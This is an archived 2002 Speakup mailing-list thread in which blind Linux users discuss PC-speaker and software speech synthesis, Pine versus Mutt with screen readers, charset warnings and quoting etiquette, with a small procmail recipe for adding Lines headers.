> Another problem is that sound modules don't load until the filesystems are
> mounted. And viavoice isn't a kernel level synth, besides the fact that it
> can't be anyway. This I would think is why Speakup doesn't support
> software synths as of yet.
>
> Gates go to hell, your OS is waiting for you there!
>
> On Thu, 23 May 2002, Octavian Rasnita wrote:
>
> > But could I use it with Speakup, to hear the voice only after the system
> > boots?
> > Or is not supported at all? no  drivers, etc.
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > To: <speakup@braille.uwo.ca>
> > Sent: Wednesday, May 22, 2002 2:24 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Hi teddy.
> > > viavoice won't be supported by speakup as I understand it because it's
a
> > > nonfree package and the source code isn't freely available.
> > > as for the problem with the dec-talk pc, the issue is, needing
dictionary
> > > files to be loaded into the synth at boot time.
> > > You can't do this until the file systems are properly mounted. So, if
one
> > > gets a kernel panic, you wouldn't know about it because you wouldn't
have
> > > speech from kernel load.
> > > hth
> > >
> > >
> > > --
> > > Shaun Oliver
> > >
> > > Man is the best computer we can put aboard a spacecraft ... and the
> > > > > only one that can be mass produced with unskilled labor.
> > > > >                 -- Wernher von Braun.
> > > > > email: shaun_oliver@optusnet.com.au
> > > > > icq:76958435
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

mailing lists and mail programs

[Ed Barnes]

Hi ann and list.
And while we're at it talking about Windows programs for email and their 
drawbacks, what about all those users who choose to encode plane text 
rather than sending us-ascii or iso8859-1.
I mean in all honesty it's pretty easy to turn off in a program like 
Lookout Distress, then we wouldn't have to hear a message like:
Windows 1252 character set, your display is set for the us-ascii character 
set, or the iso8859-1 character set, some characters may be displayed in 
correctly.
If anyone cares about this and wants to turn off this useless option to 
encode plane text I'd be happy to provide instructions, simply mail me off 
list and I'd be happy to be of assistance.
Ed Barnes edbarnes@anomaly.2y.net

Re: interesting experiment.

[Buddy Brannan]

Uhh. That would presuppose support for some software
synthesizer. Let's get that before we start talking about putting
anything through the PC speaker, unless of course we'd put morse code
through the PC speaker...not a bad idea, IMO. But speech through it
wouldn't be at all usable. Usable presupposes that one can at least
understand what's coming out. ... The PC speaker just ain't good
enough for that. Unless...again....we use morse code or something. If
I was more smarter, I'd do that, too. ... :)
-- 
Buddy Brannan, KB5ELV/3  | I choose you to take up all of my time.
Email: davros@ycardz.com | I choose you because you're funny and kind
                         | I want easy people from now on.
                         | --the Nields

Re: mailing lists and mail programs

[Thomas Stivers]

Has anyone spoken to the pine developers about making the character set
message controllable by a configuration option? That is a better solution
than
constantly having to teach windows users how to change it.

-- 

--
Thomas Stivers
stivers_t@mail.utexas.edu

PC Speaker synth for Speakup?

[Adam Myrow]

On Thu, 23 May 2002, Alex Snow wrote:

> Hi All,
> I was just thinking: Would it be possible to right drivers to use the pc
> speaker as a synth in speakup? Then for those who don't have a hardware
> synth that would work.

Maybe, but I'm not sure it would be understandable.  I mean, the PC
speaker is really small and quite limited.  I recall there used to be a
kernel patch to use the PC speaker as a sound card, so it is theoretically
possible, but again, it would be hard to understand and very likely
low-volume.

Re: mailing lists and mail programs

[Raul A. Gallegos]

I have a better idea.  Use mutt instead.

Seriously though are those messages all that annoying?

Thomas Stivers said the following on Thu, May 23, 2002 at 04:40:35PM -0500:
> Has anyone spoken to the pine developers about making the character set
> message controllable by a configuration option? That is a better solution
> than
> constantly having to teach windows users how to change it.
> 

Re: mailing lists and mail programs

[Thomas Stivers]

On Thu, 23 May 2002, Raul A. Gallegos wrote:

> I have a better idea.  Use mutt instead.
>
> Seriously though are those messages all that annoying?
>
I would love to use mutt, but when I read my mail I like to just press d
or del or whatever to go to the next message, but when I do this the from:
and subject: fields are not always read. I guess it is something to do
with the way mutt refreshes the screen, but I don't know.
Yes it is pretty annoying after about 100 of those messages, and if you
can tell me how to fix my mutt problem I will happily convert.

> Thomas Stivers said the following on Thu, May 23, 2002 at 04:40:35PM -0500:
> > Has anyone spoken to the pine developers about making the character set
> > message controllable by a configuration option? That is a better solution
> > than
> > constantly having to teach windows users how to change it.
> >
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Gregory Nowak]

Ok, but you would still need some sort of tts engine.
Greg


On Thu, May 23, 2002 at 05:04:04PM -0400, Alex Snow wrote:
> Hi All,
> I was just thinking: Would it be possible to right drivers to use the pc
> speaker as a synth in speakup? Then for those who don't have a hardware
> synth that would work.

Re: PC Speaker synth for Speakup?

[Alex Snow]

I've heard some programs use the PC speaker before, and there somewhat
understandable.  It depends on the coding.  There used to be this program
for dos that would use the PC speaker to say the time, and some Star Wars
frazes.  It was somewhat understandable, but not todally.
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 5:42 PM
Subject: PC Speaker synth for Speakup?


> On Thu, 23 May 2002, Alex Snow wrote:
>
> > Hi All,
> > I was just thinking: Would it be possible to right drivers to use the pc
> > speaker as a synth in speakup? Then for those who don't have a hardware
> > synth that would work.
>
> Maybe, but I'm not sure it would be understandable.  I mean, the PC
> speaker is really small and quite limited.  I recall there used to be a
> kernel patch to use the PC speaker as a sound card, so it is theoretically
> possible, but again, it would be hard to understand and very likely
> low-volume.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: PC Speaker synth for Speakup?

[Raul A. Gallegos]

I don't see the practical value of this.  I'm sure a lot of people such
as myself have their machine on the floor under their desk.  You want to
tell me how much work you can do sitting in front of your desk leaning
over to try and hear that oh so wonderful quality speaker from your box
on the floor?



Alex Snow said the following on Thu, May 23, 2002 at 06:46:56PM -0400:
> I've heard some programs use the PC speaker before, and there somewhat
> understandable.  It depends on the coding.  There used to be this program
> for dos that would use the PC speaker to say the time, and some Star Wars
> frazes.  It was somewhat understandable, but not todally.
> ----- Original Message -----

Re: PC Speaker synth for Speakup?

[Igor Gueths]

Hi all. I also did find such a program for dos that was a candid camera type program. Very humorous, and it outputted a pretty understandable voice to the pc speaker. I just don't know exactly how it did this. Possibly doing the equivalent of catting all standard input to /dev/speaker. 
----- Original Message ----- 
From: Alex Snow <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 6:46 PM
Subject: Re: PC Speaker synth for Speakup?


> I've heard some programs use the PC speaker before, and there somewhat
> understandable.  It depends on the coding.  There used to be this program
> for dos that would use the PC speaker to say the time, and some Star Wars
> frazes.  It was somewhat understandable, but not todally.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 5:42 PM
> Subject: PC Speaker synth for Speakup?
> 
> 
> > On Thu, 23 May 2002, Alex Snow wrote:
> >
> > > Hi All,
> > > I was just thinking: Would it be possible to right drivers to use the pc
> > > speaker as a synth in speakup? Then for those who don't have a hardware
> > > synth that would work.
> >
> > Maybe, but I'm not sure it would be understandable.  I mean, the PC
> > speaker is really small and quite limited.  I recall there used to be a
> > kernel patch to use the PC speaker as a sound card, so it is theoretically
> > possible, but again, it would be hard to understand and very likely
> > low-volume.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Dave Hunt <]

Anne:

One can use pine in emacspeak's terminal emulator mode, it's just not
pretty.  Same goes for lynx.  When you get to lynx from w3, you're
just getting a 'dump' of the referenced page; you can't navigate as
you would when running lynx in a term-mode buffer.  All that said, I
second Anne's "use vm".

-Dave

Octavian Rasnita writes:
 > What do you mean "I can't use pine with emacspeak?"
 > Is it true that I really can't use pine with emacspeak?
 > 
 > Teddy,
 > orasnita@home.ro
 > 
 > ----- Original Message -----
 > From: "Ann Parsons" <akp@eznet.net>
 > To: <speakup@braille.uwo.ca>
 > Sent: Wednesday, May 22, 2002 3:07 PM
 > Subject: Re: interesting experiment.
 > 
 > 
 > > Hi all,
 > >
 > > Hmmmmm, think you can get to Lynx through w3, but not sure.  You can't
 > > use Pine.  learn VM.
 > >
 > > Ann P.

Re: interesting experiment.

[Dave Hunt <]

If you can have emacspeak and speakup, that's best.  I do it.

Ann Parsons writes:
 > Hi all,
 > 
 > It is true that Emacspeak will not come on at startup, and it will not
 > do some things that speakup will do.  But for things  related to words
 > and editing, emacspeak can't be beat!

Re: PC Speaker synth for Speakup?

[James Poss]

Hello all,
Yes, the internal speaker would be very low volume, as I have used the windows
pc speaker driver in the passed before I was blessed with a soundcard.
However, most laptops route the internal speaker through the built-in
soundcard if there is one, and it is a simple matter of running a wire from
the pins of the pc speaker to the pc speaker input on most soundcards.
Unfortunately, there are some exceptions such as the IBM Aptiva line of
computers, in which case the speaker is actually soddered directly to the
board.
If however, the seaker is connected via a wire that can be removed, a pc
speaker synthesizer would most likely work quite nicely.

Jim


Adam Myrow wrote:

> On Thu, 23 May 2002, Alex Snow wrote:
>
> > Hi All,
> > I was just thinking: Would it be possible to right drivers to use the pc
> > speaker as a synth in speakup? Then for those who don't have a hardware
> > synth that would work.
>
> Maybe, but I'm not sure it would be understandable.  I mean, the PC
> speaker is really small and quite limited.  I recall there used to be a
> kernel patch to use the PC speaker as a sound card, so it is theoretically
> possible, but again, it would be hard to understand and very likely
> low-volume.
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Toby Fisher]

On Thu, 23 May 2002, Ann Parsons wrote:

> Hey, Toby, could you put your quotes at the bottom instead of the top
> please!

I'll consider it, but please, please let's not start a flame war on this
topic, I have my own personal preferences for doing things this way, and I
can appreciate yours.  I'll consider it, I guess.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: mailing lists and mail programs

[Ann Parsons]

Hi all,

My answer to the message below is to say:

"Give a man a fish and he eats for a day.
Teach a man to fish and he can eat for a lifetime."

Ann P.
>>>>> "Thomas" == Thomas Stivers <stivers_t@ev1.net> writes:

    Thomas> Has anyone spoken to the pine developers about making the
    Thomas> character set message controllable by a configuration
    Thomas> option? That is a better solution than constantly having
    Thomas> to teach windows users how to change it.

    Thomas> --

    Thomas> -- Thomas Stivers stivers_t@mail.utexas.edu



    Thomas> _______________________________________________ Speakup
    Thomas> mailing list Speakup@braille.uwo.ca
    Thomas> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: mailing lists and mail programs

[Thomas Stivers]

This does not apply. The charset stuff does not have any ill affects for
the windows users, therefore the program which does cause annoying
messages should have the ability to be silenced.

Here I go letting myself get involved in this bickeri... er "exchange of
ideas" again.

-- 

--
Thomas Stivers
stivers_t@mail.utexas.edu

Re: interesting experiment.

[Octavian Rasnita]

Ok, sorry if I was one from those who send the message without cutting  it
out.
Maybe this is a problem for those who read the messages with a Linux mail
client, or something like that, and I will try to remember to cut off  the
unneeded stuff.
I don't think it is a problem for those who  pay the Internet or phone by
minute. What does it mean 2 or 3 KB more on some messages.
I also pay per minute and for a few hundreads of messages, the time of
downloading the mail is around 5 to 10 minutes.
So trimming the messages will mean  1 or 2 minutes less. Is it this so much?

I've also seen some messages that don't include the original message at all,
and this is a problem sometimes because I don't know what was the thread.

I think there is another problem here but I don't know what is it.
However, I will try to remember to cut off the text when I reply to this
list.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 3:43 PM
Subject: Re: interesting experiment.


> Hi all,
>
> Tell it like it is brother, amen, halleluia!!!
>
> Most of this traffic in quotes is due to the increasing numbers of
> Windows users on this list!  Windows mailers are notorious for
> assuming that you want to quote the entire message from before.  there
> is no choice, no possible solution unless you are a responsible human
> being and are willing to take the five minutes to type ctrl-a and then
> to hit the delete key so that all this quoted garbage goes bye-bye.

Re: interesting experiment.

[Octavian Rasnita]

Well, a lot of Windows users also think the same but to be sincere, I like
how the eloquence sinthesizer sounds.
That's why I also like how IBM Via Voice sounds.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Toby Fisher" <toby_fisher@bigfoot.com>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 3:25 PM
Subject: Re: interesting experiment.


> On Tue, 21 May 2002, Octavian Rasnita wrote:
>
> > In Windows I can have champaigne for free. <smile>
> > In Linux I need  to pay for a hardware sinth to be able to get
champaigne.
> > It was the same thing some years ago when I would need a hardware sinth
for
> > DOS.
>
> Hmmm, so tell me, which fully-featured screen reader are you using for
> Windows that's free?  Ok, so you're using a couple of demos, but that's
> hardly Champagne, is it?  I already had a copy of Jaws, but chose to pay
> for a hardware synthesiser because I don't like cheap Champagne
> masquerading as a top vintage. *smile*
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

I can't understand because some of the listers say that pine can be used
with emacspeak and others say that it can't.
I've tried it, but with no success.
It seems that I should blindy type the letters for opening the inbox, a
message, etc, without hearing anything. I think that's why some listers say
that it can't be used with emacs.

I am a beginner, and like any beginner, I want to hear as much as possible.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 5:58 PM
Subject: Re: interesting experiment.


> What part of "can't" don't you understand?
>
> On Thu, 23 May 2002, Octavian Rasnita wrote:
>
> > What do you mean "I can't use pine with emacspeak?"
> > Is it true that I really can't use pine with emacspeak?
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Ann Parsons" <akp@eznet.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Wednesday, May 22, 2002 3:07 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Hi all,
> > >
> > > Hmmmmm, think you can get to Lynx through w3, but not sure.  You can't
> > > use Pine.  learn VM.
> > >
> > > Ann P.
> > >
> > > --
> > > Ann K. Parsons
> > > email:  akp@eznet.net ICQ Number:  33006854
> > > WEB SITE:  http://home.eznet.net/~akp
> > > "All that is gold does not glitter.  Not all those who wander are
lost."
> > JRRT
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

Hi Janina,

You have asked me about why I don't understand that I can't use pine with
emacs. Now you ask me why I can't understand that I can't use the DecTalk
PC1 with Speakup.

Well, here is the text I have read from another list member:

as for the problem with the dec-talk pc, the issue is, needing dictionary
files to be loaded into the synth at boot time.
You can't do this until the file systems are properly mounted. So, if one
gets a kernel panic, you wouldn't know about it because you wouldn't have
speech from kernel load.

So I've understood that "You can't do this until the file systems are
properly mounted"
OK, and I've asked if I can use it after that point.
Is something that isn't clear?
Didn't I understood correctly?

Cheers.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 5:59 PM
Subject: Re: interesting experiment.


> Once again, what part of "no" don't you understand? the 'n' or
> the 'o?'
>

Re: interesting experiment.

[Kerry Hoath]

I have a recipe that adds in the lines header
into each message if it does not contain the lines header.
This is required since my delivery is into a MailDir
and the lines header is not added by default.
Here is the recipe stolen from the mutt faq,
put it in your ~/.procmailrc if you use procmail:
-----cut here-------

:0 Bfh
* H ?? !^Lines:
* -1^0
*  1^1 ^.*$
| formail -A "Lines: $="
On Thu, May 23, 2002 at 05:01:08PM +0100, Toby Fisher wrote:
> > I could filter all of his messages, but Greg and others are also
> > adding 3 lines to the top of a post and hitting send.
> > I am not picking on one person,
> > but pleeding for some moderation in the raw size of messages
> > to this list.
> 
> You know, it's a shame that this isn't a newsgroup, you could kill on the
> Lines header.
> 
> > Please people, I don't care what text editor you use, ed vi emacs
> > edlin or dos edit, can we trim the fat?
> 
> You forgot one, Outlook/Outlook Express, that's where the "Original
> message ..." comes from.
> 
> Cheers.
> 
> -- 
> Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Octavian Rasnita]

Ha ha, nice. No, I don't read any manual for Windows.
I read only some readme files for newly installed programs and some help
files but very rarely.
This is not because Windows is better. This is because the graphical
interface is better, and I hope it will be the same under Linux as soon as
possible.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Toby Fisher" <toby_fisher@bigfoot.com>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 6:50 PM
Subject: Re: interesting experiment.


> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> <snip>
>
> > I think I need to take some knowledge first, and after that start
> giving.
> > But please notice that not all the people learn from a manual. I haven't
> > read any manual for Windows, for example.
>
> Yeah right, so you never read any Windows help files, or web sights, or
> readme files, or on-screen tips, you just knew it, right?  Well please
> share your telepathic powers with us, I, for one, would love them.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

If you want, I can give you a Jaws script  that can copy the selected
character, or word, or line or whole window to the clipboard.
HTH. Sorry being off topic as all this thread.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Toby Fisher" <toby_fisher@bigfoot.com>

Re: interesting experiment.

[Kerry Hoath]

There were pc-speaker sound drivers for Linux, but the
cpu overhead was awful.
To run the speaker you need to use one of the timers on the 8259
and there is no ability to use interrupts or dma so you must sit in busy wait
loops to get the timing correct.
You need to convert pcm to pwm and feed it to the speaker and we don't even have a free
software speech engine for Linux yet that is of good enough quality
and stability and responsiveness for the applicaiton we want.
Let's be realistic, most modern boards have soundcards on them,
and something half decent can be had for $10US so
gone are the days of pc-speaker and parallel port dongles
for sound.
Most modern laptops even have soundcars in them.
The lack of sound drivers at boot isn't hte problem
for speakup, it is that a tts engine takes up a hell of a lot
of kernel memory which then isn't swapable.
On Thu, May 23, 2002 at 05:04:04PM -0400, Alex Snow wrote:
> Hi All,
> I was just thinking: Would it be possible to right drivers to use the pc
> speaker as a synth in speakup? Then for those who don't have a hardware
> synth that would work.
> ----- Original Message -----

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Kerry Hoath]

Remember speech.com say and trans?
there was a version of tinytalk that could use the pc speaker as well.
I have programs for dos that play 11025hz mono 8-bit samples on the
speaker with surprising fidelity.
It depends on how good your pc speaker is too, many modern pcs
have a little pizzo thing. Remember the pc-speaker is a
square-wave generater that simply sets the speaker to +5v and 0v.
Do it fast enough and you can simulate  sounds using a
technique called pulse width modulation. You move the speaker so fast
it gets fooled into making far nicer sounds
than square waves.
On Thu, May 23, 2002 at 05:30:11PM -0400, Buddy Brannan wrote:
> Uhh. That would presuppose support for some software
> synthesizer. Let's get that before we start talking about putting
> anything through the PC speaker, unless of course we'd put morse code
> through the PC speaker...not a bad idea, IMO. But speech through it
> wouldn't be at all usable. Usable presupposes that one can at least
> understand what's coming out. ... The PC speaker just ain't good
> enough for that. Unless...again....we use morse code or something. If
> I was more smarter, I'd do that, too. ... :)
> -- 
> Buddy Brannan, KB5ELV/3  | I choose you to take up all of my time.
> Email: davros@ycardz.com | I choose you because you're funny and kind
>                          | I want easy people from now on.
>                          | --the Nields
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: PC Speaker synth for Speakup?

[Kerry Hoath]

Put an inductive pickup on your pc-speaker,
run the lead up to an amplified speaker, and no leaning over
required.
Although the money you spend on this can get you a cheap PCI soundcard.
In Australia we get something that will work under Linux for $23
so about $12 US, and no it won't mix sounds so you buy
2 of them at that price and use one for mp3s the other
for something else.

On Thu, May 23, 2002 at 05:53:44PM -0500, Raul A. Gallegos wrote:
> I don't see the practical value of this.  I'm sure a lot of people such
> as myself have their machine on the floor under their desk.  You want to
> tell me how much work you can do sitting in front of your desk leaning
> over to try and hear that oh so wonderful quality speaker from your box
> on the floor?
> 
> 
> 
> Alex Snow said the following on Thu, May 23, 2002 at 06:46:56PM -0400:
> > I've heard some programs use the PC speaker before, and there somewhat
> > understandable.  It depends on the coding.  There used to be this program
> > for dos that would use the PC speaker to say the time, and some Star Wars
> > frazes.  It was somewhat understandable, but not todally.
> > ----- Original Message -----
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: PC Speaker synth for Speakup?

[Pete]

  I used to use an old screen reader called seekline in dos.  It had an
option to use the P C speaker.  It hogged up around 300 K of conventional
memory though, and the rate I don't think was much faster than 200 to 250
words per min or so.  It sounded kind of like the doubletalk or monolog
speech.  Tinytalk came whith a demo version of speech that would work whith
the P C speaker.  The bad thing is the volume wasn't vary lowd, so you had
to have a quiet place to use either one.
  Pete

----- Original Message -----
From: "Alex Snow" <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Thursday, May 23, 2002 6:46 PM
Subject: Re: PC Speaker synth for Speakup?


> I've heard some programs use the PC speaker before, and there somewhat
> understandable.  It depends on the coding.  There used to be this program
> for dos that would use the PC speaker to say the time, and some Star Wars
> frazes.  It was somewhat understandable, but not todally.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 5:42 PM
> Subject: PC Speaker synth for Speakup?
>
>
> > On Thu, 23 May 2002, Alex Snow wrote:
> >
> > > Hi All,
> > > I was just thinking: Would it be possible to right drivers to use the
pc
> > > speaker as a synth in speakup? Then for those who don't have a
hardware
> > > synth that would work.
> >
> > Maybe, but I'm not sure it would be understandable.  I mean, the PC
> > speaker is really small and quite limited.  I recall there used to be a
> > kernel patch to use the PC speaker as a sound card, so it is
theoretically
> > possible, but again, it would be hard to understand and very likely
> > low-volume.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: mailing lists and mail programs

[Kerry Hoath]

This is covered in the Pine FAQ.
Windows-1252 is some charset that is specific to windows.
the Pine developers don't want to supress the warning because it does
cause certain users problems with characters and they would rather warn
users of the bad character set than silently ignore it.
Windows-1252 is not blessed by ISO and is only a standard by virtue
that microsoft has put lots of it out there.
It can cause havock with mime filtering gateways, character set conversion, and
certain terminals.
you are both right, a way to silence the message and fixing the windows computers should _both_ be done.

You can make mutt refresh the screen better by setting
set help=no
in your .muttrc but you loose the top line of help.
Note that if you delete a message and the next
message has the same from or to line
on it the lines will not be spoken.
this is an ncurses optimization. If a program does not clear the screen
and writes the same text to the same location on the screen that allready contains that text
then ncurses will not rewrite the text onto the screen. This saves time
over serial lines since if the text is allready onscreen
it makes no sense to put the same text back in the same place unless
the colour has changed.
When I use mutt I usually drop back to the index and hit d rather than deleteing inside
a message. The reason for this is I don't allways want to read
the next message in the spool and I use the index to decide
which messages I want to read.
Many messsages get deleted without ever beeing opened.
I hit enter on the messages I want to read and I set my header weeding in such a way
that I cut out all the x- headers and all the list- headers.
I know that hitting q then d then numpad 8 to quit a message,
delete it and then read the current line for the next message under
the cursor is 3 keystrokes but hell,
I can touchtype at 50 words per minute so 3 keys  takes
about half a second if that.
The efficiency freaks are allways welcome to use mh <smile>
but seriously I preferr mutt over pine and elm because of the integrated
pgp support, the low noise screen display, the customizibility
and the complete manual.
I also like the way mutt marks new messages with N messages to you with t
messages directly to you with + and messages cced to you with c
so a new message carboncopied to you is nc. Pine does not do this.

Regards, Kerry.
On Thu, May 23, 2002 at 09:00:48PM -0500, Thomas Stivers wrote:
> This does not apply. The charset stuff does not have any ill affects for
> the windows users, therefore the program which does cause annoying
> messages should have the ability to be silenced.
> 
> Here I go letting myself get involved in this bickeri... er "exchange of
> ideas" again.
> 
> -- 
> 
> --
> Thomas Stivers
> stivers_t@mail.utexas.edu
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: mailing lists and mail programs

[Ann Parsons]

Hi all,

<smile>  Thomas, oh, ye who doubts, now what's wrong with a good
discussion?  You have every right to your views.  Indeed, I will
defend that right to the death.  However, I don't have to agree with
your views, do I?  the exchange of ideas is the spice of life!  

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: mailing lists and mail programs

[Thomas Stivers]

Thanks for the info on mutt. I will give it a try again.

Nice summary of the pine charset thing. I looked at the faq and saw that
after posting.
Thanks
-- 

--
Thomas Stivers
stivers_t@mail.utexas.edu

On Fri, 24 May 2002, Kerry Hoath wrote:

> This is covered in the Pine FAQ.
> Windows-1252 is some charset that is specific to windows.
> the Pine developers don't want to supress the warning because it does
> cause certain users problems with characters and they would rather warn
> users of the bad character set than silently ignore it.
> Windows-1252 is not blessed by ISO and is only a standard by virtue
> that microsoft has put lots of it out there.
> It can cause havock with mime filtering gateways, character set conversion, and
> certain terminals.
> you are both right, a way to silence the message and fixing the windows computers should _both_ be done.
>
> You can make mutt refresh the screen better by setting
> set help=no
> in your .muttrc but you loose the top line of help.
> Note that if you delete a message and the next
> message has the same from or to line
> on it the lines will not be spoken.
> this is an ncurses optimization. If a program does not clear the screen
> and writes the same text to the same location on the screen that allready contains that text
> then ncurses will not rewrite the text onto the screen. This saves time
> over serial lines since if the text is allready onscreen
> it makes no sense to put the same text back in the same place unless
> the colour has changed.
> When I use mutt I usually drop back to the index and hit d rather than deleteing inside
> a message. The reason for this is I don't allways want to read
> the next message in the spool and I use the index to decide
> which messages I want to read.
> Many messsages get deleted without ever beeing opened.
> I hit enter on the messages I want to read and I set my header weeding in such a way
> that I cut out all the x- headers and all the list- headers.
> I know that hitting q then d then numpad 8 to quit a message,
> delete it and then read the current line for the next message under
> the cursor is 3 keystrokes but hell,
> I can touchtype at 50 words per minute so 3 keys  takes
> about half a second if that.
> The efficiency freaks are allways welcome to use mh <smile>
